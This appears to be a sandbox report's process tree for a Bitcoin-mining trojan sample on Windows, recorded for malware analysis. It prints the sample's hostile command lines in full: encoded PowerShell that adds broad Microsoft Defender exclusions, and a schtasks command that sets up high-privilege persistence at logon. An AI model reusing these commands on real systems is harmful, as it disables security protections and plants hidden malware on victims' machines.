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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3260
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:2980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2612
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2608
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2600
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\SYSTEM32\cmd.exe"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit3⤵
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3996
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C:\Windows\System32\nslookup.exeC:\Windows\System32\nslookup.exe3⤵
- Drops file in Windows directory
PID:1888
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\Microsoft\services.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services" /tr "C:\Users\Admin\Microsoft\services.exe"4⤵
- Creates scheduled task(s)
PID:2000
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2444
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2184
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2084
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:2044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:1976
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1836
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1628
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1572
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2916
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 5915103981eabb885502282a04cf714c z1ytZviW3UWXXe7FFO3Dkg.0.1.0.0.01⤵PID:4136
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2528
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4260
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4396
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:2456
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3780